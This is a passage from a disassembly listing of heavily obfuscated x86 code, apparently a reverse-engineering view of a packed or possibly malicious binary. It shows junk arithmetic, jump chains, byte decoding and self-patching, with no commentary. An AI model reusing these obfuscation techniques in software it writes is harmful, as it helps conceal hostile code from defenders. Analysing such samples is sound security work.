CHUNK AT 1001A0B9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001A123 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001A360 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AD8A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B104 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B4AC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001B60F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001B6AE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BC14 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 1001C49E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001D344 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001D8FD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001D991 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 1001DE5E SIZE 00000023 BYTES xchg ebx, [esp+8+var_8] pop ebx push 9DD4FC05h pop ecx add ecx, 0A947BDBDh and ecx, ds:100000CBh jnz loc_10017E6B cmp ebx, 6BB5B757h jmp loc_1001466E sub_10016D66 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193B1 loc_10016D8D: ; CODE XREF: sub_100193B1+6j push ecx push 0C42DDDAh pop ecx and ecx, 0B8B2764Eh jmp loc_1001BA56 ; END OF FUNCTION CHUNK FOR sub_100193B1 ; =============== S U B R O U T I N E ======================================= sub_10016D9F proc near ; CODE XREF: an.kk9rg:loc_10013639p ; an.kk9rg:10014C5Aj xchg edi, [esp+0] pop edi push 58E45AC6h pop eax sub eax, 5820E3FEh call sub_1001536A loc_10016DB4: ; CODE XREF: an.kk9rg:1001B3F9j jmp nullsub_207 sub_10016D9F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A70A loc_10016DB9: ; CODE XREF: sub_1001A70A+10j jmp loc_10013B03 ; END OF FUNCTION CHUNK FOR sub_1001A70A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_10016DBE: ; CODE XREF: sub_10018C4D+Fj jmp loc_100170AF ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10016DC3: ; CODE XREF: sub_10019571:loc_10013B2Bj and eax, 49096489h and esi, ecx jmp loc_10014C27 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016DD0: ; CODE XREF: sub_10013389+4A45j push offset loc_1001CE9C loc_10016DD5: ; CODE XREF: an.kk9rg:1001BB99j jmp loc_1001D817 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_1001A6F7 loc_10016DE2: ; CODE XREF: an.kk9rg:1001CD3Fj jmp loc_10019507 ; --------------------------------------------------------------------------- loc_10016DE7: ; CODE XREF: an.kk9rg:10017EF6j jmp loc_100179C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10016DEC: ; CODE XREF: sub_1001456F:loc_10015D94j jnz loc_1001ADF8 jmp loc_100183D0 ; END OF FUNCTION CHUNK FOR sub_1001456F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016DF8: ; CODE XREF: sub_10013389+B3j jmp nullsub_198 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_10016DFD: ; CODE XREF: sub_100189D7-454Ej jnz loc_1001723D jmp loc_10017579 ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10016E08: ; CODE XREF: sub_10015066+86BCj push 0F73349E5h sbb edx, esi loc_10016E0F: ; CODE XREF: sub_10014E66:loc_1001BC62j push eax push 2FB34E6Eh pop eax sub eax, 8B813732h cmp eax, 0CC42D7C9h jmp loc_1001D353 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10016E27: ; CODE XREF: sub_100180C2+68Aj jnz loc_1001A0BF add edi, 648A7709h not eax jmp loc_1001A0B9 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- and edx, 198E46FEh jmp loc_10016F9E ; --------------------------------------------------------------------------- add eax, 46C5731Eh jmp sub_1001B3CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_10016E50: ; CODE XREF: sub_1001A12F+2E59j sbb ebx, ecx loc_10016E52: ; CODE XREF: sub_10017D86:loc_10015309j ; sub_1001893F:loc_10016979j ... jmp loc_100161B7 ; --------------------------------------------------------------------------- loc_10016E57: ; CODE XREF: sub_10017D86-3437j ; sub_1001A12F+3j pop ecx xchg esi, [esp+0] mov ebp, esi pop esi retn ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10016E5F: ; CODE XREF: sub_100145ED+30AEj jmp loc_1001424D ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_10016E64: ; CODE XREF: sub_10013044+9C35j test ecx, 0AAAE434Dh jmp loc_10017ADD ; END OF FUNCTION CHUNK FOR sub_10013044 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CCE loc_10016E70: ; CODE XREF: sub_10014CCE+Cj jmp loc_1001CCA7 ; END OF FUNCTION CHUNK FOR sub_10014CCE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10016E76: ; CODE XREF: sub_10015988+784Ej jmp loc_10017406 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100179FF loc_10016E7B: ; CODE XREF: sub_100179FF+10j jmp loc_10014439 ; END OF FUNCTION CHUNK FOR sub_100179FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10016E80: ; CODE XREF: sub_100193F2-48EBj jmp loc_1001CC29 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_10016E86: ; CODE XREF: sub_1001C8CE-1FA7j jmp loc_10019B82 ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; =============== S U B R O U T I N E ======================================= sub_10016E8B proc near ; CODE XREF: an.kk9rg:10015E35j ; sub_100188EE+2024p xchg edx, [esp+0] pop edx add eax, 482E29E4h push offset loc_10017E1D jmp nullsub_24 sub_10016E8B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10016E9F: ; CODE XREF: sub_100194EA-582j mov al, [eax] mov edx, [ebp-20h] mov [edx], al inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] jmp loc_1001B647 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10016EB1: ; CODE XREF: sub_10019409-3526j or eax, edx mov edx, [ebp-8] mov [edx], al call sub_10015190 loc_10016EBD: ; CODE XREF: sub_1001B913-18F4j jmp loc_1001332E ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017F49 loc_10016EC2: ; CODE XREF: sub_10017F49+12j jmp loc_1001DCEE ; END OF FUNCTION CHUNK FOR sub_10017F49 ; --------------------------------------------------------------------------- loc_10016EC7: ; CODE XREF: an.kk9rg:100166ACj not eax ; START OF FUNCTION CHUNK FOR sub_100150BD loc_10016EC9: ; CODE XREF: sub_100150BD:loc_10016699j and edx, 0EF6ABC2Fh add edx, 0B2DC883Ah xor edx, 0C2702722h push offset loc_1001772F jmp nullsub_209 ; END OF FUNCTION CHUNK FOR sub_100150BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10016EE5: ; CODE XREF: sub_100194EA+9E7j mov eax, [ebp-0Ch] mov [ebp-1Ch], eax lea eax, [ebp-125h] mov [ebp-20h], eax jmp loc_1001A8D6 ; END OF FUNCTION CHUNK FOR sub_100194EA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10016EFA: ; CODE XREF: sub_10016D66-2248j jmp nullsub_7 ; --------------------------------------------------------------------------- loc_10016EFF: ; CODE XREF: an.kk9rg:100185B2j ; sub_10016D66:loc_100195B5j add esi, 43F8808Ch xchg esi, [esp+0] jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10016F0E: ; CODE XREF: an.kk9rg:loc_10017211j ; sub_10016D04:loc_1001A4DAj jmp loc_1001A64B ; END OF FUNCTION CHUNK FOR sub_10016D04 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_10016F14: ; CODE XREF: sub_1001767A-583j jmp sub_10015CBE ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_10016F19: ; CODE XREF: sub_100175DE+246Cj and eax, 13FEF1A7h sub eax, 247ED4DDh or eax, 0E4EBE157h add eax, 56D81116h add eax, ebp add eax, 0B93BF107h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_100192FC ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- ja loc_10015785 jmp sub_1001ABAE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10016F4F: ; CODE XREF: sub_10015988+8j jmp loc_100148FC ; --------------------------------------------------------------------------- loc_10016F54: ; CODE XREF: sub_10015988+329Bj jb loc_1001A665 add ecx, 6E2FBFA9h ; END OF FUNCTION CHUNK FOR sub_10015988 ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10016F60: ; CODE XREF: sub_1001B5A3:loc_100131B9j ; sub_100151FD+9j ... jmp loc_1001DF12 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10016F65: ; CODE XREF: sub_1001B5A3:loc_1001334Ej ; an.kk9rg:1001C855j pop ecx jmp loc_100192E6 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; =============== S U B R O U T I N E ======================================= sub_10016F6B proc near ; DATA XREF: sub_1001C67F-6402o add eax, ebp add eax, 9C79DE40h mov eax, [eax] call sub_1001B3CA loc_10016F7A: ; CODE XREF: an.kk9rg:loc_100148ABj ; sub_10015B5D+5E5Fj jmp loc_1001D6F4 sub_10016F6B endp ; --------------------------------------------------------------------------- push esi push 9421A627h pop esi rol esi, 16h jmp loc_1001944E ; --------------------------------------------------------------------------- loc_10016F8E: ; CODE XREF: an.kk9rg:1001683Aj xor edx, 7C181B62h call sub_10015402 ; START OF FUNCTION CHUNK FOR sub_1001664C loc_10016F99: ; CODE XREF: sub_1001664C+549Dj jmp loc_100158E6 ; END OF FUNCTION CHUNK FOR sub_1001664C ; --------------------------------------------------------------------------- loc_10016F9E: ; CODE XREF: an.kk9rg:10016E40j mov ebp, [ecx] ; =============== S U B R O U T I N E ======================================= sub_10016FA0 proc near ; CODE XREF: sub_100194EA+23D8p ; FUNCTION CHUNK AT 1001B1EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C19C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D7BE SIZE 0000001A BYTES xchg edi, [esp+0] pop edi call sub_100142E8 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jmp loc_1001C19C sub_10016FA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esi, 6A5F1CD4h cmp eax, 110D445Dh jmp loc_10013993 ; --------------------------------------------------------------------------- loc_10016FC5: ; CODE XREF: an.kk9rg:1001414Dj jnz loc_10014EC3 jmp loc_10016A5C ; --------------------------------------------------------------------------- loc_10016FD0: ; DATA XREF: sub_10015792-1E2o cmp byte ptr [eax], 0F1h jnz loc_10017309 jmp loc_10017C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016FDE: ; CODE XREF: sub_10013389+2930j mov [esi], edx or edi, 8F3BECDFh loc_10016FE6: ; CODE XREF: sub_10013389:loc_10015CA8j xor eax, 0C28889F5h add eax, ebp add eax, 0C289186Eh mov eax, [eax] push esi jmp loc_10014885 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10016FFC: ; CODE XREF: sub_10019595-2D46j ; an.kk9rg:loc_1001897Cj push 9EE4D31Dh pop eax xor eax, 10F6D22Fh add eax, 7042F201h add eax, ebp push esi push 9AEC12A0h jmp loc_100163F0 ; END OF FUNCTION CHUNK FOR sub_10019595 ; =============== S U B R O U T I N E ======================================= sub_1001701B proc near ; CODE XREF: sub_10013389:loc_1001AD9Fp ; an.kk9rg:1001B38Ej var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10014827 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10016362 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10016F60 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017B23 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10017E63 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001A0D1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001ADA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D8ED SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001DF12 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_1001ADA9 sub_1001701B endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_1001702D: ; CODE XREF: an.kk9rg:100178C4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_1001702E: ; CODE XREF: sub_1001B096-6EF9j adc ebx, eax cmp ebp, 55C07CE3h jmp loc_10016CDF ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013359 loc_1001703B: ; CODE XREF: sub_10013359:loc_1001A9BCj jz loc_10016556 mov [ebp+var_8], 1 ; END OF FUNCTION CHUNK FOR sub_10013359 ; START OF FUNCTION CHUNK FOR sub_100150A4 loc_10017048: ; CODE XREF: sub_100182D9:loc_100196FDj ; sub_100150A4:loc_1001A62Bj mov eax, [ebp-8] pop ecx jmp loc_1001654E ; END OF FUNCTION CHUNK FOR sub_100150A4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190EB loc_10017052: ; CODE XREF: sub_100190EB+3BD6j jmp loc_1001D329 ; END OF FUNCTION CHUNK FOR sub_100190EB ; --------------------------------------------------------------------------- loc_10017057: ; CODE XREF: an.kk9rg:10017E28j jmp locret_10015102 ; --------------------------------------------------------------------------- loc_1001705C: ; CODE XREF: an.kk9rg:10018573j jns sub_10018776 cmp edx, 2A218DD1h jmp loc_100153C4 ; --------------------------------------------------------------------------- mov edx, 0B242B436h call sub_1001543A ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_10017077: ; CODE XREF: sub_10018AB1+2934j jmp loc_1001BA64 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001707C: ; CODE XREF: sub_10013389:loc_10018273j jnz loc_1001396C jmp loc_10015B9F ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- sub ebp, edx jmp loc_1001DF2C ; --------------------------------------------------------------------------- loc_1001708E: ; CODE XREF: an.kk9rg:loc_1001D05Aj push offset loc_1001CD18 jmp locret_10013672 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C61 loc_10017098: ; CODE XREF: sub_10018C61:loc_10016C58j mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_1001B7CA call nullsub_10 ; END OF FUNCTION CHUNK FOR sub_10018C61 ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_100170AF: ; CODE XREF: sub_100194EA:loc_10013AD1j ; sub_10018C4D:loc_10016DBEj jo loc_1001CCA0 xor eax, eax jmp loc_10017ACD ; END OF FUNCTION CHUNK FOR sub_10018C4D ; =============== S U B R O U T I N E ======================================= sub_100170BC proc near ; CODE XREF: sub_10015988+4CE3j ; an.kk9rg:1001AC12p ; FUNCTION CHUNK AT 10019FFA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001DAD8 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 902DFD6Bh pop ebx or ebx, 0AF73B907h xor ebx, 0C2008979h jmp loc_10019FFA sub_100170BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_100170D7: ; CODE XREF: an.kk9rg:loc_1001D095j imul byte ptr [edx] cmp al, 0A4h jz loc_10017F60 jmp loc_1001C4DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_100170E6: ; CODE XREF: sub_10013688:loc_10019803j jp nullsub_130 jmp loc_100154BF ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_100170F1: ; CODE XREF: sub_1001767A:loc_1001847Bj jnz loc_1001448E jmp loc_10016F14 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100170FC: ; CODE XREF: sub_10013389:loc_10017C24j test esi, 10h jmp loc_10017E0A ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_10017107: ; CODE XREF: an.kk9rg:loc_10014C9Ej ; an.kk9rg:1001A7ACj push edx or eax, 0D570221Ah jmp loc_10019CBD ; --------------------------------------------------------------------------- loc_10017113: ; CODE XREF: an.kk9rg:1001C70Ej xchg eax, ebx rol ebx, 0Ch ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10017118: ; CODE XREF: sub_1001893F+3DAEj add edx, 40373AA7h xor edx, 67C7ED51h add edx, ebp add edx, 5FD2DCA7h mov edx, [edx] jmp loc_10013AF7 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10017133: ; DATA XREF: an.kk9rg:100160E0o imul byte ptr [edx] cmp al, 0A4h jz loc_10017F60 jmp loc_1001C5F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10017142: ; CODE XREF: sub_1001564A+46AFj sub al, 99h mov edx, [ebp-4] push offset loc_1001DD00 jmp nullsub_62 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_10017151: ; CODE XREF: sub_10013310+7985j jz loc_10014C83 jmp loc_10015CA1 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015743 loc_1001715C: ; CODE XREF: sub_10015743+10j xor edi, 0FABF321Dh add edi, ebp add edi, 67BB71Eh push offset loc_10017CB9 jmp loc_10014BDC ; END OF FUNCTION CHUNK FOR sub_10015743 ; --------------------------------------------------------------------------- loc_10017174: ; CODE XREF: an.kk9rg:100162CAj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10017175: ; CODE XREF: sub_10015B5D-2ABBj mov eax, 9CD91F03h jmp loc_10014872 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001717F: ; CODE XREF: sub_10013389+92B3j cmp dword ptr [eax-14h], 4 jnz loc_1001AE94 mov eax, [ebp+8] cmp dword ptr [eax-4], 4 call sub_10013688 loc_10017195: ; CODE XREF: sub_10014189+3ED8j jl loc_100150DB not ecx mov edi, edx sbb ecx, 50A0A2A0h sub ecx, edi jmp loc_1001CE4E ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100171AC: ; CODE XREF: sub_1001564A:loc_100197CEj add eax, 2318B66Bh push offset loc_10019E4E jmp loc_10019D7B ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_100171BC: ; CODE XREF: sub_10015C14+453Dj mov eax, edi mov edx, [ecx] push 0D48D27A2h loc_100171C5: ; CODE XREF: sub_1001679F:loc_10013748j call sub_100180C2 mov edx, 0F2B89A19h jmp loc_1001AD50 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100171D4: ; CODE XREF: sub_10013389:loc_1001CEF4j sub edi, 44D42535h jmp loc_1001431D ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CEDD loc_100171DF: ; CODE XREF: sub_1001CEDD:loc_10017DDEj mov byte ptr [eax], 0C3h jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_1001CEDD ; --------------------------------------------------------------------------- loc_100171E7: ; CODE XREF: an.kk9rg:1001661Cj mov eax, [esp] push ebp mov ebp, edx xchg ebp, [esp] call sub_1001D461 mov eax, 6E3A3857h jmp loc_1001356E ; --------------------------------------------------------------------------- adc eax, esi jmp sub_10014A06 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100192D0 loc_10017207: ; CODE XREF: sub_100192D0+8j jmp nullsub_117 ; END OF FUNCTION CHUNK FOR sub_100192D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100186DF loc_1001720C: ; CODE XREF: sub_100186DF+9j jmp sub_10014B85 ; END OF FUNCTION CHUNK FOR sub_100186DF ; --------------------------------------------------------------------------- loc_10017211: ; CODE XREF: an.kk9rg:100193EDj jns loc_10016F0E ; =============== S U B R O U T I N E ======================================= sub_10017217 proc near ; CODE XREF: sub_100142E8+4543p ; FUNCTION CHUNK AT 1001A9D4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001ACA0 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push eax mov eax, edi xchg eax, [esp+0] push eax jmp loc_1001ACA0 sub_10017217 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10017227: ; CODE XREF: an.kk9rg:100197DDj pop ecx xchg ecx, [esp] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001722C: ; CODE XREF: an.kk9rg:1001C106j push 993FABB9h pop eax or eax, 30E7F7F0h jmp loc_100148CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_1001723D: ; CODE XREF: sub_100189D7:loc_10016DFDj ; sub_100189D7+40EBj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100169A6 jmp loc_1001750E ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- call nullsub_6 jmp ds:dword_10002034 ; --------------------------------------------------------------------------- loc_10017259: ; CODE XREF: an.kk9rg:100151BEj jmp loc_10017B92 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnz loc_10017F88 mov eax, [esp] push ecx mov ecx, edx xchg ecx, [esp] jmp loc_1001B1A3 ; =============== S U B R O U T I N E ======================================= sub_10017273 proc near ; CODE XREF: sub_10016A1B+3D0Dp ; an.kk9rg:1001AD19j xchg esi, [esp+0] pop esi call sub_10019401 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 loc_10017283: ; CODE XREF: an.kk9rg:1001C68Ej push offset loc_1001D975 jmp nullsub_26 sub_10017273 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001728E: ; CODE XREF: sub_10013061+1Fj ; sub_10013688:loc_1001B0F9j jmp loc_10014F29 ; END OF FUNCTION CHUNK FOR sub_10013061 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10017294: ; CODE XREF: sub_1001D461-9127j ; sub_10016D66:loc_1001BC14j add esi, 77204CD1h ; END OF FUNCTION CHUNK FOR sub_10016D66 ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001729A: ; CODE XREF: sub_1001CF40-3DB2j shl edx, 0Dh jmp loc_1001BB62 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- loc_100172A2: ; CODE XREF: an.kk9rg:loc_10017C84j jz loc_10017304 jmp loc_100174AB ; --------------------------------------------------------------------------- cmp ebx, 0EDA49BF6h jmp loc_10015DAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB87 loc_100172B8: ; CODE XREF: sub_1001492C:loc_1001A571j ; sub_1001BB87:loc_1001BB94j jz loc_1001C7EE jmp loc_10017BC2 ; END OF FUNCTION CHUNK FOR sub_1001BB87 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CD85 loc_100172C4: ; CODE XREF: sub_1001CD85-702Bj jmp loc_100174B5 ; END OF FUNCTION CHUNK FOR sub_1001CD85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B81 loc_100172C9: ; CODE XREF: sub_10016B81:loc_100143B2j push ecx push 0BC3E6A73h pop ecx loc_100172D0: ; CODE XREF: sub_1001C9F8:loc_1001A046j and ecx, 0F70C3E75h xor ecx, 9E63622Ch add ecx, 0D590B7A7h add eax, ecx pop ecx jmp loc_10013FD4 ; END OF FUNCTION CHUNK FOR sub_10016B81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100172EA: ; CODE XREF: sub_10013389+819j ; sub_10013389+4F3Aj mov eax, ds:dword_10019664 loc_100172EF: ; CODE XREF: sub_10013389:loc_1001B22Fj mov al, [eax] sub al, 99h mov edx, ds:dword_10019664 jmp loc_10018D34 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100172FE: ; CODE XREF: an.kk9rg:1001575Aj jnz loc_100143B7 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10017304: ; CODE XREF: an.kk9rg:loc_10015364j ; sub_1001504E:loc_10015AF2j ... jmp loc_10017C2E ; --------------------------------------------------------------------------- loc_10017309: ; CODE XREF: an.kk9rg:10016FD3j ; sub_1001A97E+6j xchg eax, [esp+0] mov ecx, eax pop eax pop ebp jmp nullsub_77 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_10017315 proc near ; DATA XREF: sub_1001C535+AC0o rol eax, 12h push edx push offset sub_10014E17 jmp nullsub_133 sub_10017315 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D11D loc_10017323: ; CODE XREF: sub_1001D11D:loc_1001360Aj call nullsub_10 ; END OF FUNCTION CHUNK FOR sub_1001D11D ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10017328: ; CODE XREF: sub_100193F2+Aj mov eax, [ebp-4] call sub_1001AB5B test al, al jnz loc_10017A99 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10017338: ; CODE XREF: an.kk9rg:loc_100139B6j ; sub_1001679F+4j ... pop ecx pop ecx pop ebp jmp nullsub_27 ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- sbb esi, 0E1CDBC50h shr esi, 5 jmp 